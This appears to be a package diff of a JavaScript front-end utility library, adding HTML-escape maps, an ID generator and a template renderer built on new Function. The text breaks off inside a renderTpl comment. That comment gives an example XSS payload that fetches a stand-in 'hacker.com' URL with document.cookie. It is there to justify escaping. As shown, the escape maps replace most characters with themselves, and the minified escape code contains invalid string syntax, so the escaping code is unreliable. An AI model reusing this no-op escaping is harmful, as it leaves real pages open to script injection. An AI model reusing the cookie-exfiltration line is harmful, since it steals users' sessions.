t;r?(t=r(e),!0===t?a.classList.remove(e):"string"==typeof t&&t&&a.classList.remove(t)):a.classList.remove(e)})},typeWriter=(e,t)=>{const r=t.speed||100;return new Promise(a=>{t?.onBeforeType?.(e);let s=0;const n=setInterval(()=>{if(s<e.length){const r=e.charAt(s),a=e.substring(0,s+1);t?.onDuringType?.(r,a),s++}else clearInterval(n),a(e),t?.onAfterType?.(e)},r)})},parseLLMStream=async(e,t)=>{if(!(e&&e instanceof ReadableStream))throw new Error("Invalid input: ReadableStream is missing or not an instance of ReadableStream.");const r=e.getReader(),a=new TextDecoder("utf-8");let s="";const n={fullText:"",finishReason:null,usage:null,isCompleted:!1};try{for(;;){const{done:e,value:o}=await r.read();if(e)break;s+=a.decode(o,{stream:!0});let l=s.split("\n");s=l.pop()||"";for(const e of l){const r=e.trim();if(!r||!r.startsWith("data: "))continue;const a=r.substring(6);if("[DONE]"!==a)try{const e=JSON.parse(a),r=e.choices?.[0],s=r?.delta?.content||"";s&&(n.fullText+=s,t?.(s)),r?.finish_reason&&(n.finishReason=r.finish_reason),e.usage&&(n.usage=e.usage)}catch(e){}else n.isCompleted=!0}}}catch(e){throw e}return n},toKebabCase=(e,t="",r="")=>`${t}${e.replace(/([A-Z])/g,"-$1").toLowerCase()}${r}`,trimEmptyLines=e=>null==e?"":e.replace(/^\s*\n|\n\s*$/g,"")||"",escapeHtmlChars=e=>e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):"",decodeHtmlEntities=e=>{if(!e)return"";const t=document.createElement("textarea");return t.innerHTML=e,t.value},utils={getDataType:getDataType,requireTypes:requireTypes,deepClone:deepClone,deepCloneToJSON:deepCloneToJSON,wrapArrayMethods:wrapArrayMethods,arrayMutableMethods:arrayMutableMethods,setMutableMethods:setMutableMethods,mapMutableMethods:mapMutableMethods,wrapSetMethods:wrapSetMethods,wrapMapMethods:wrapMapMethods,getUniqueId:getUniqueId,deepMerge:deepMerge,shallowCopy:shallowCopy,copyObjectWithSymbol:copyObjectWithSymbol,getEl:getEl,getEls:getEls,createEl:createEl,getSvgUri:getSvgUri,fileToBase64:fileToBase64,NAMESPACE:"ax",ALIAS:"rep",COMMA:",",SPACE:" ",trim:trim,parseClasses:parseClasses,getClasses:getClasses,addClasses:addClasses,removeClasses:removeClasses,createTools:createTools,typeWriter:typeWriter,parseLLMStream:parseLLMStream,toKebabCase:toKebabCase,trimEmptyLines:trimEmptyLines,escapeHtmlChars:escapeHtmlChars,decodeHtmlEntities:decodeHtmlEntities};module.exports=utils;
|
|
15
|
+
"use strict";const getDataType=e=>{let t,r=Object.prototype.toString.call(e).slice(8,-1);return t="Function"===r&&/^\s*class\s+/.test(e.toString())?"Class":"Object"===r&&Object.getPrototypeOf(e)!==Object.prototype?"Instance":r,t},deepClone=(e,t={})=>{const r=getDataType(e),a=Object.assign({cloneSet:!0,cloneMap:!0,cloneObject:!0,cloneArray:!0,cloneDate:!0,cloneRegex:!0},t);if(a.interceptor&&"function"==typeof a.interceptor){let t=a.interceptor({input:e,type:r,parent:a.parent});if(t)return t}a.onBeforeClone?.({input:e,type:r,parent:a.parent});let s,n=!0;if("Object"===r&&a.cloneObject){const t={},r=Object.getOwnPropertySymbols(e);for(const r in e)t[r]=deepClone(e[r],a);if(r.length>0)for(const s of r)t[s]=deepClone(e[s],{...a,parent:e});s=t}else if("Array"===r&&a.cloneArray)s=e.map(t=>deepClone(t,{...a,parent:e}));else if("Map"===r&&a.cloneMap){const t=new Map;for(const[r,s]of e)t.set(deepClone(r,a),deepClone(s,{...a,parent:e}));s=t}else if("Set"===r&&a.cloneSet){const t=new Set;for(const r of e)t.add(deepClone(r,{...a,parent:e}));s=t}else if("Date"===r&&a.cloneDate)s=new Date(e.getTime());else if("RegExp"===r&&a.cloneRegex){const t=e;s=new RegExp(t.source,t.flags)}else s=e,n=!1;return a.onAfterClone?.({output:s,input:e,type:r,cloned:n,parent:a.parent}),s},deepCloneToJSON=e=>{const t=getDataType(e);if("Object"===t){const t={};for(const r in e)t[r]=deepCloneToJSON(e[r]);for(const e in t)void 0===t[e]&&Reflect.deleteProperty(t,e);return t}if("Array"===t){return e.map((e,t)=>deepCloneToJSON(e)).filter(e=>void 0!==e)}return["Number","String","Boolean","Null"].includes(t)?e:void 0},arrayMutableMethods=["push","pop","shift","unshift","splice","sort","reverse","copyWithin","fill"],wrapArrayMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a,props:s={}})=>{if(!Array.isArray(e))throw new TypeError("The 'target' parameter must be an array.");a&&!a?.length||(a=arrayMutableMethods);const n={};for(let o of a)n[o]=function(...a){const n={},l=e.length;switch(o){case"push":case"unshift":n.addedItems=[...a];break;case"pop":n.poppedItem=e[l-1];break;case"shift":n.shiftedItem=e[0];break;case"splice":const[t,r]=a,s=t<0?Math.max(l+t,0):Math.min(t,l),o=void 0===r?l-s:r;n.deletedItems=e.slice(s,s+o);break;case"sort":case"reverse":n.oldSnapshot=[...e];break;case"fill":case"copyWithin":const i=a[1]||0,c=void 0===a[2]?l:a[2];n.oldItems=e.slice(i,c),n.start=i,n.end=c}t?.(n);const i=Array.prototype[o].apply(e,a),c={value:i,key:o,args:a,context:n,target:e,...s};return r?.(c),i};return n},escapeCharsMaps={basic:{"&":"&","<":"<",">":">"},attribute:{"&":"&","<":"<",">":">",'"':""","'":"'","`":"`"},content:{"&":"&","<":"<",">":">",'"':""","'":"'","/":"/"},uri:{"&":"&","<":"<",">":">",'"':""","'":"'","(":"(",")":")","[":"[","]":"]"},paranoid:{"&":"&","<":"<",">":">",'"':""","'":"'","`":"`","/":"/","=":"=","!":"!","#":"#","(":"(",")":")","[":"[","]":"]","{":"{","}":"}",":":":",";":";"}},escapeRegexMaps=Object.keys(escapeCharsMaps).reduce((e,t)=>{const r=Object.keys(escapeCharsMaps[t]).map(e=>e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&"));return e[t]=new RegExp(`[${r.join("")}]`,"g"),e},{}),escapeHTML=(e,t="attribute")=>{if("string"!=typeof e)return"";const r=escapeCharsMaps[t],a=escapeRegexMaps[t];return e.replace(a,e=>r[e])},getUniqueId=(e={})=>{const t=e.prefix,r=e.suffix,a=e.base10,s=e.base36;return`${t?t+"-":""}${Date.now()}${s?"-"+Math.random().toString(36).substring(2,11):""}${a?"-"+Math.floor(1e4*Math.random()).toString().padStart(4,"0"):""}${r?"-"+r:""}`},requireTypes=(e,t,r)=>{let a=Array.isArray(t)?t:[t],s=getDataType(e),n=s.toLowerCase(),o=a.map(e=>e.toLowerCase()),l=n.includes("html")?"element":n;if(r)try{if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`)}catch(e){r(e,s)}else if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`);return s},toSingleLine=(e,t=!1)=>{const r=e.replace(/[\r\t\n]/g,"");return t?r.replace(/\s+/g," "):r},renderTpl=(e,t,r={})=>{if(requireTypes(e,"string",e=>""),!e.trim())return"";let a=requireTypes(t,["array","object"],t=>e);if(0===Object.keys(t).length)return e;let s,n=Object.assign({strict:!1,start:"{{",end:"}}",suffix:"/"},r),o=n.start.split("").map(e=>"\\"+e).join(""),l=n.end.split("").map(e=>"\\"+e).join(""),i=new RegExp(`${o}([\\s\\S]+?)?${l}`,"g"),c='"use strict";let str=[];\n',p=0,u="",g=`__esc__${getUniqueId()}`,add=(e,t)=>(t?e.endsWith(n.suffix)?c+=e.slice(0,-n.suffix.length)+"\n":c+=n.escape?`str.push(${g}(String(${e}), "${n.escape}"));\n`:`str.push(${e});\n`:c+=""!==e?'str.push("'+e.replace(/\\/g,"\\\\").replace(/"/g,'\\"').replace(/\n/g,"\\n").replace(/\r/g,"\\r")+'");\n':"",add);for(;s=i.exec(e);)add(e.slice(p,s.index))(s[1],!0),p=s.index+s[0].length;add(e.slice(p)),c+="return str.join('');",c=toSingleLine(c);try{if(n.strict||"Array"===a)u=new Function(g,c).apply(t,[escapeHTML]);else{let e=Object.keys(t),r=Object.values(t);u=new Function(...e,g,c).bind(t)(...r,escapeHTML)}}catch(e){}return u},setMutableMethods=["add","delete","clear"],mapMutableMethods=["set","delete","clear"],wrapSetMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=setMutableMethods,props:s={}})=>{if(!(e instanceof Set))throw new TypeError("The 'target' parameter must be a Set.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"add":{const[t]=n;o.addedItem=t,o.existed=e.has(t);break}case"delete":{const[t]=n;o.existed=e.has(t),o.deletedItem=o.existed?t:void 0;break}case"clear":o.clearedItems=Array.from(e),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)setMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},wrapMapMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=mapMutableMethods,props:s={}})=>{if(!(e instanceof Map))throw new TypeError("The 'target' parameter must be a Map.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"set":{const[t,r]=n;o.key=t,o.newValue=r,o.existed=e.has(t),o.oldValue=o.existed?e.get(t):void 0;break}case"delete":{const[t]=n;o.key=t,o.existed=e.has(t),o.value=o.existed?e.get(t):void 0;break}case"clear":o.clearedItems=Array.from(e.entries()),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)mapMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},copyObjectWithSymbol=e=>{if(!e||"object"!=typeof e)return e;const t=e,r=Object.getOwnPropertySymbols(t).reduce((e,r)=>(e[r]=t[r],e),{});return{...t,...r}},shallowCopy=(e,t={})=>{const r=getDataType(e);return"Set"===r?new Set([...e]):"Map"===r?new Map([...e]):Array.isArray(e)?[...e]:"object"===r?copyObjectWithSymbol(e):"Date"===r?new Date(e.getTime()):"RegExp"===r?new RegExp(e.source,e.flags):"Buffer"===r?Buffer.from(e):"ArrayBuffer"===r||ArrayBuffer.isView(e)?e.slice(0):"WeakSet"===r?new WeakSet([...e]):"WeakMap"===r?new WeakMap([...e]):"Error"===r?new Error(e.message):e},deepMerge=(e,t,r={})=>{const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0,useSymbol:!0,nullBehavior:"preserve",undefinedBehavior:"preserve",deepClone:{},onBeforeMerge:void 0,onAfterMerge:void 0},r),smartMerger=(e,t,a)=>{let s,n,o=getDataType(e),l=getDataType(t),i=!0;if(a.interceptor&&"function"==typeof a.interceptor){let r=a.interceptor({target:e,source:t,targetType:o,sourceType:l,parent:a.parent});if(r){if(null===r?.target||null===r?.source)return r;e=r.target,t=r.source}}return a?.onBeforeMerge?.({target:e,source:t,targetType:o,sourceType:l,parent:a.parent}),"Object"===o&&"Object"===l?(n=deepMergeObjects(e,t,a),s="Object"):"Array"===o&&"Array"===l?(n=deepMergeArrays(e,t,a),s="Array"):"Set"===o&&"Set"===l?(n=deepMergeSets(e,t,a),s="Set"):"Map"===o&&"Map"===l?(n=deepMergeMaps(e,t,a),s="Map"):(i=!1,n=e),a?.onAfterMerge?.({result:n,target:e,source:t,targetType:o,sourceType:l,mergeType:s,parent:r.parent}),{result:n,flag:i,mergeType:s}},mergeEnableObject=(e,t)=>e?.hasOwnProperty("enable")&&"boolean"==typeof t?(e.enable=t,e):t?.hasOwnProperty("enable")&&"boolean"==typeof e?Object.assign({enable:e},t):t,deepMergeObjects=(e,t,r={})=>{let a=getDataType(e),s=getDataType(t);if("Object"!==a||"Object"!==s)return e;const n=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r);let o={};o=n.targetClone?shallowCopy(e):e;for(let e in t){const a=o[e],s=t[e];if(t.hasOwnProperty(e)&&o.hasOwnProperty(e)){const t=smartMerger(a,s,{...r,parent:o});if(t.flag)t.mergeType?"Object"===t.mergeType&&(o[e]=t.result):o[e]=s;else{let t=n.useEnable?mergeEnableObject(a,s):s;a!==t&&null===t?"ignore"===n.nullBehavior||("delete"===n.nullBehavior?Reflect.deleteProperty(o,e):o[e]=t):a!==t&&void 0===t?"ignore"===n.undefinedBehavior||("delete"===n.undefinedBehavior?Reflect.deleteProperty(o,e):o[e]=s):o[e]=s}}else t.hasOwnProperty(e)&&!o.hasOwnProperty(e)&&n.inheritMissing&&(o[e]=s)}if(n.useSymbol){let e=Object.getOwnPropertySymbols(t);if(e.length)for(let r of e)o[r]=t[r]}return o},deepMergeArrays=(e,t,r={})=>{if(!Array.isArray(e)||!Array.isArray(t))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1},r),s=a.targetClone?[...e]:e;if("replace"===a.dataMode)for(let e=0;e<t.length&&(a.inheritMissing||!(e>=s.length));e++){smartMerger(s[e],t[e],{...a,parent:s}).flag||(s[e]=t[e])}else"concat"===a.dataMode||(s.length=0),s.push(...t);return s},deepMergeMaps=(e,t,r={})=>{if(!(e instanceof Map&&t instanceof Map))return e;const a=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Map([...e]):e;for(const[e,n]of t.entries())if(s.has(e)){const t=s.get(e),r=n,o=smartMerger(t,r,a);o.flag?"Object"===o.mergeType&&s.set(e,o.result):s.set(e,r)}else r.inheritMissing&&s.set(e,n);return s},deepMergeSets=(e,t,r={})=>{if(!(e instanceof Set&&t instanceof Set))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Set(...e):e;if("replace"===a.dataMode){const e=[...s],r=[...t],n=smartMerger(e,r,a);s.clear();for(let e of n.result)s.add(e)}else if("concat"===a.dataMode)for(let e of t)s.add(e);else{s.clear();for(let e of t)s.add(e)}return s};return smartMerger(e,t,a).result},getEl=(e,t=document.body)=>{let r=getDataType(e),a=getDataType(t),s=a.includes("HTML")||"ShadowRoot"===a?t:document.querySelector(t),n=s&&s instanceof HTMLTemplateElement?s.content:s,o=null;if(e)if(r.includes("HTML"))o=e;else if("String"===r)try{o=(n||document).querySelector(e.trim())}catch{o=null}return o},isEmpty=e=>{let t,r=getDataType(e);return t=!e||("Object"===r?0===Object.keys(e).length:"Array"===r?""===e.join(""):"Function"===r?"{}"===e.toString().replace(/\s+/g,"").match(/{.*}/g)[0]:"Symbol"===r?"()"===e.toString().replace(/\s+/g,"").match(/\(.*\)/g)[0]:"Set"===r||"Map"===r?0===e.size:"Date"===r?isNaN(e.getTime()):"RegExp"===r?""===e.source:"ArrayBuffer"===r?0===e.byteLength:"NodeList"===r||"HTMLCollection"===r||"length"in e&&"number"==typeof e.length?0===e.length:"size"in e&&"number"==typeof e.size?0===e.size:"Error"===r||e instanceof Error?""===e.message:!(!r.includes("Array")||!["Uint8Array","Int8Array","Uint16Array","Int16Array","Uint32Array","Int32Array","Float32Array","Float64Array"].includes(r))&&0===e.length),t},getEls=(e,t=document.body)=>{let r=getDataType(e),a=getEl(t),s=a&&a instanceof HTMLTemplateElement?a.content:a||document,n=[];return isEmpty(e)?n:(r.includes("HTML")?n.push(e):"String"===r?n=(e=e.trim()).split(",").map(e=>[...s.querySelectorAll(e)]).flat():"Array"===r&&(n=e.map(e=>getEl(e,a))),n.filter(Boolean))},createEl=(e,t,r)=>{let a=(e=e||"div").toUpperCase().trim(),s=document.createElement(a),n=getDataType(t);if(t&&"Object"===n)for(let e in t)t.hasOwnProperty(e)&&s.setAttribute(e,"string"==typeof t[e]?t[e]:JSON.stringify(t[e]));return((e,t)=>{if(""===t||null==t)return!1;let r=getDataType(t);if("TEMPLATE"===a)e.innerHTML=t.toString();else if("Array"===r&&t.length>0)for(let r of t){if(getDataType(r).includes("HTML"))e.appendChild(r);else{let t=createEl(r.name,r.attrs,r.content);t&&e.appendChild(t)}}else if(r.includes("HTML"))e.appendChild(t);else if("String"===r&&t.trim().startsWith("#")&&t.trim().length>1){let r=getEl(t);if(!r)return;"TEMPLATE"===r.nodeName?e.appendChild(r.content.cloneNode(!0)):e.insertAdjacentHTML("beforeEnd",r.innerHTML)}else e.insertAdjacentHTML("beforeEnd",t)})(s,r),s},getSvgUri=e=>`data:image/svg+xml;utf8,${e.replace(/\n/g,"").replace(/\s+/g," ").trim().replace(/%/g,"%25").replace(/#/g,"%23").replace(/{/g,"%7B").replace(/}/g,"%7D").replace(/</g,"%3C").replace(/>/g,"%3E")}`,fileToBase64=e=>new Promise((t,r)=>{const a=new FileReader;a.onload=()=>{"string"==typeof a.result?t(a.result):r(new Error("FileReader result is not a string"))},a.onerror=()=>{r(a.error||new Error("Unknown error occurred during file reading"))},a.readAsDataURL(e)}),NAMESPACE="ax",ALIAS="rep",COMMA=",",SPACE=" ",trim=(e,t="compress")=>{if("string"!=typeof e)return"";switch(t){case"start":return e.trimStart();case"end":return e.trimEnd();case"both":return e.trim();case"global":return e.replace(/[\s\r\n]+/g,"");default:return e.trim().replace(/[\s\r\n]+/g," ")}},parseClasses=e=>{let t,r=[];return Array.isArray(e)?r=e.filter(e=>e&&"string"==typeof e):(t=(e=trim(e)).includes(",")?",":" ",r=e.split(t)),r.map(e=>trim(e,"global")).filter(Boolean)},addClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.add(e):"string"==typeof t&&t&&a.classList.add(t)):a.classList.add(e)})},createTools=e=>{const t=createEl("span",{class:"ax-box-tools"}),renderFn=e=>{const t={},r=e.extendable?'<i rep="arrow"></i>':"",a=(e.icon?`<i rep="icon">${e.icon}</i>`:"")+(e.disk?`<i rep="disk"><img src="${e.disk}"/></i>`:"")+(e.cube?`<i rep="cube"><img src="${e.cube}"/></i>`:"")+(e.image?`<i rep="image"><img src="${e.image}"/></i>`:"")+(e.label?`<i rep="label">${e.label}</i>`:"")+r;e.title&&(t.title=e.title),e.focusable&&(t.tabindex=1),e.wrapEl=createEl(e.nodeName||"span",Object.assign(t,e.attrs),a),e.iconEl=e.wrapEl.querySelector('[rep="icon"]'),e.cubeEl=e.wrapEl.querySelector('[rep="cube"]'),e.diskEl=e.wrapEl.querySelector('[rep="disk"]'),e.imageEl=e.wrapEl.querySelector('[rep="image"]'),e.labelEl=e.wrapEl.querySelector('[rep="label"]'),!isEmpty(e.classes)&&addClasses(e.wrapEl,e.classes),!isEmpty(e.styles)&&(e.wrapEl.style.cssText+=e.styles)};for(let r of e)renderFn(r),t.appendChild(r.wrapEl),r?.action?.(r);return t},getClasses=e=>{let t=getEl(e);return t?parseClasses(t.getAttribute("class")||""):[]},removeClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.remove(e):"string"==typeof t&&t&&a.classList.remove(t)):a.classList.remove(e)})},typeWriter=(e,t)=>{const r=t.speed||100;return new Promise(a=>{t?.onBeforeType?.(e);let s=0;const n=setInterval(()=>{if(s<e.length){const r=e.charAt(s),a=e.substring(0,s+1);t?.onDuringType?.(r,a),s++}else clearInterval(n),a(e),t?.onAfterType?.(e)},r)})},parseLLMStream=async(e,t)=>{if(!(e&&e instanceof ReadableStream))throw new Error("Invalid input: ReadableStream is missing or not an instance of ReadableStream.");const r=e.getReader(),a=new TextDecoder("utf-8");let s="";const n={fullText:"",finishReason:null,usage:null,isCompleted:!1};try{for(;;){const{done:e,value:o}=await r.read();if(e)break;s+=a.decode(o,{stream:!0});let l=s.split("\n");s=l.pop()||"";for(const e of l){const r=e.trim();if(!r||!r.startsWith("data: "))continue;const a=r.substring(6);if("[DONE]"!==a)try{const e=JSON.parse(a),r=e.choices?.[0],s=r?.delta?.content||"";s&&(n.fullText+=s,t?.(s)),r?.finish_reason&&(n.finishReason=r.finish_reason),e.usage&&(n.usage=e.usage)}catch(e){}else n.isCompleted=!0}}}catch(e){throw e}return n},toKebabCase=(e,t="",r="")=>`${t}${e.replace(/([A-Z])/g,"-$1").toLowerCase()}${r}`,trimEmptyLines=e=>null==e?"":e.replace(/^\s*\n|\n\s*$/g,"")||"",decodeHtmlEntities=e=>{if(!e)return"";const t=document.createElement("textarea");return t.innerHTML=e,t.value},utils={getDataType:getDataType,requireTypes:requireTypes,deepClone:deepClone,deepCloneToJSON:deepCloneToJSON,wrapArrayMethods:wrapArrayMethods,arrayMutableMethods:arrayMutableMethods,setMutableMethods:setMutableMethods,mapMutableMethods:mapMutableMethods,wrapSetMethods:wrapSetMethods,wrapMapMethods:wrapMapMethods,getUniqueId:getUniqueId,deepMerge:deepMerge,shallowCopy:shallowCopy,copyObjectWithSymbol:copyObjectWithSymbol,getEl:getEl,getEls:getEls,createEl:createEl,getSvgUri:getSvgUri,fileToBase64:fileToBase64,NAMESPACE:"ax",ALIAS:"rep",COMMA:",",SPACE:" ",trim:trim,parseClasses:parseClasses,getClasses:getClasses,addClasses:addClasses,removeClasses:removeClasses,createTools:createTools,typeWriter:typeWriter,parseLLMStream:parseLLMStream,toKebabCase:toKebabCase,trimEmptyLines:trimEmptyLines,decodeHtmlEntities:decodeHtmlEntities,escapeCharsMaps:escapeCharsMaps,escapeRegexMaps:escapeRegexMaps,escapeHTML:escapeHTML,toSingleLine:toSingleLine,renderTpl:renderTpl};module.exports=utils;
|
package/dist/utils.esm.js
CHANGED
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
|
|
2
2
|
/*!
|
|
3
|
-
* @since Last modified: 2026-1-15
|
|
3
|
+
* @since Last modified: 2026-1-16 15:18:30
|
|
4
4
|
* @name Utils for web front-end.
|
|
5
|
-
* @version 0.0.
|
|
5
|
+
* @version 0.0.38
|
|
6
6
|
* @author AXUI development team <3217728223@qq.com>
|
|
7
7
|
* @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
|
|
8
8
|
* @see {@link https://www.axui.cn|Official website}
|
|
@@ -238,6 +238,102 @@ const wrapArrayMethods = ({ target, onBeforeMutate = () => { }, onAfterMutate =
|
|
|
238
238
|
return methods;
|
|
239
239
|
};
|
|
240
240
|
|
|
241
|
+
const escapeCharsMaps = {
|
|
242
|
+
//code或pre标签中代码高亮是使用basic
|
|
243
|
+
basic: {
|
|
244
|
+
'&': '&',
|
|
245
|
+
'<': '<',
|
|
246
|
+
'>': '>',
|
|
247
|
+
},
|
|
248
|
+
//需要用在标签属性上attribute
|
|
249
|
+
attribute: {
|
|
250
|
+
'&': '&',
|
|
251
|
+
'<': '<',
|
|
252
|
+
'>': '>',
|
|
253
|
+
'"': '"',
|
|
254
|
+
"'": ''',
|
|
255
|
+
'`': '`',
|
|
256
|
+
},
|
|
257
|
+
//html中的正文内容使用content
|
|
258
|
+
content: {
|
|
259
|
+
'&': '&',
|
|
260
|
+
'<': '<',
|
|
261
|
+
'>': '>',
|
|
262
|
+
'"': '"',
|
|
263
|
+
"'": ''',
|
|
264
|
+
'/': '/',
|
|
265
|
+
},
|
|
266
|
+
//用于url链接则使用uri
|
|
267
|
+
uri: {
|
|
268
|
+
'&': '&',
|
|
269
|
+
'<': '<',
|
|
270
|
+
'>': '>',
|
|
271
|
+
'"': '"',
|
|
272
|
+
"'": ''',
|
|
273
|
+
'(': '(',
|
|
274
|
+
')': ')',
|
|
275
|
+
'[': '[',
|
|
276
|
+
']': ']',
|
|
277
|
+
},
|
|
278
|
+
//极致转意,避免任何注入或非法代码
|
|
279
|
+
paranoid: {
|
|
280
|
+
'&': '&',
|
|
281
|
+
'<': '<',
|
|
282
|
+
'>': '>',
|
|
283
|
+
'"': '"',
|
|
284
|
+
"'": ''',
|
|
285
|
+
'`': '`',
|
|
286
|
+
'/': '/',
|
|
287
|
+
'=': '=',
|
|
288
|
+
'!': '!',
|
|
289
|
+
'#': '#',
|
|
290
|
+
'(': '(',
|
|
291
|
+
')': ')',
|
|
292
|
+
'[': '[',
|
|
293
|
+
']': ']',
|
|
294
|
+
'{': '{',
|
|
295
|
+
'}': '}',
|
|
296
|
+
':': ':',
|
|
297
|
+
';': ';',
|
|
298
|
+
},
|
|
299
|
+
};
|
|
300
|
+
|
|
301
|
+
const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
|
|
302
|
+
const chars = Object.keys(escapeCharsMaps[key]);
|
|
303
|
+
// Escape special regex characters to avoid issues in the regex. [ => \[
|
|
304
|
+
const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
|
|
305
|
+
acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
|
|
306
|
+
return acc;
|
|
307
|
+
}, {});
|
|
308
|
+
|
|
309
|
+
const escapeHTML = (str, strength = 'attribute') => {
|
|
310
|
+
// Return empty string if input is null, undefined, or not a string
|
|
311
|
+
if (typeof str !== 'string')
|
|
312
|
+
return '';
|
|
313
|
+
const map = escapeCharsMaps[strength], regex = escapeRegexMaps[strength];
|
|
314
|
+
// Use String.prototype.replace with a global regex.
|
|
315
|
+
// The callback function retrieves the replacement from the map using the matched character as key.
|
|
316
|
+
return str.replace(regex, (match) => map[match]);
|
|
317
|
+
};
|
|
318
|
+
|
|
319
|
+
const getUniqueId = (options = {}) => {
|
|
320
|
+
const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
|
|
321
|
+
// Current timestamp in milliseconds (since Unix epoch)
|
|
322
|
+
// This provides the primary uniqueness guarantee
|
|
323
|
+
const timestamp = Date.now(),
|
|
324
|
+
// Generate a base-36 random string (0-9, a-z)
|
|
325
|
+
// Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
|
|
326
|
+
// substring(2, 11) extracts 9 characters starting from index 2
|
|
327
|
+
//0.259854635->0.9crs03e8v2
|
|
328
|
+
base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
|
|
329
|
+
// Additional 4-digit random number for extra randomness
|
|
330
|
+
// This helps avoid collisions in high-frequency generation scenarios
|
|
331
|
+
base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
|
|
332
|
+
// Construct the final ID string
|
|
333
|
+
// Format: [prefix_]timestamp_randomBase36_extraRandom
|
|
334
|
+
return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
|
|
335
|
+
};
|
|
336
|
+
|
|
241
337
|
const requireTypes = (data, require, cb) => {
|
|
242
338
|
// Normalize the input types (convert to array if it's a single type)
|
|
243
339
|
let requiredTypes = Array.isArray(require) ? require : [require], dataType = getDataType(data), typeLower = dataType.toLowerCase(),
|
|
@@ -265,22 +361,83 @@ const requireTypes = (data, require, cb) => {
|
|
|
265
361
|
return dataType;
|
|
266
362
|
};
|
|
267
363
|
|
|
268
|
-
const
|
|
269
|
-
const
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
364
|
+
const toSingleLine = (str, collapseSpaces = false) => {
|
|
365
|
+
const result = str.replace(/[\r\t\n]/g, '');
|
|
366
|
+
return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
|
|
367
|
+
};
|
|
368
|
+
|
|
369
|
+
const renderTpl = (html, data, options = {}) => {
|
|
370
|
+
requireTypes(html, 'string', (error) => {
|
|
371
|
+
//不符合要求的类型
|
|
372
|
+
console.error(error);
|
|
373
|
+
return '';
|
|
374
|
+
});
|
|
375
|
+
if (!html.trim())
|
|
376
|
+
return '';
|
|
377
|
+
let dataType = requireTypes(data, ['array', 'object'], (error) => {
|
|
378
|
+
//不符合要求的类型
|
|
379
|
+
console.error(error);
|
|
380
|
+
return html;
|
|
381
|
+
});
|
|
382
|
+
//data={}/[]
|
|
383
|
+
if (Object.keys(data).length === 0) {
|
|
384
|
+
console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
|
|
385
|
+
return html;
|
|
386
|
+
}
|
|
387
|
+
let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
|
|
388
|
+
//regStart='\\{\\{'
|
|
389
|
+
regStart = opts.start.split('').map(k => '\\' + k).join(''),
|
|
390
|
+
//regEnd='\\}\\}'
|
|
391
|
+
regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
|
|
392
|
+
//代替escapeHTML的方法,在字符串内部的映射,确保不会重名
|
|
393
|
+
escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
|
|
394
|
+
if (isScript) {
|
|
395
|
+
//处理语句类(如 {{ if(x) /}} )
|
|
396
|
+
if (fragment.endsWith(opts.suffix)) {
|
|
397
|
+
code += (fragment.slice(0, -opts.suffix.length) + '\n');
|
|
398
|
+
}
|
|
399
|
+
else {
|
|
400
|
+
//处理表达式类(如 {{ name }} )
|
|
401
|
+
//需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
|
|
402
|
+
//虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
|
|
403
|
+
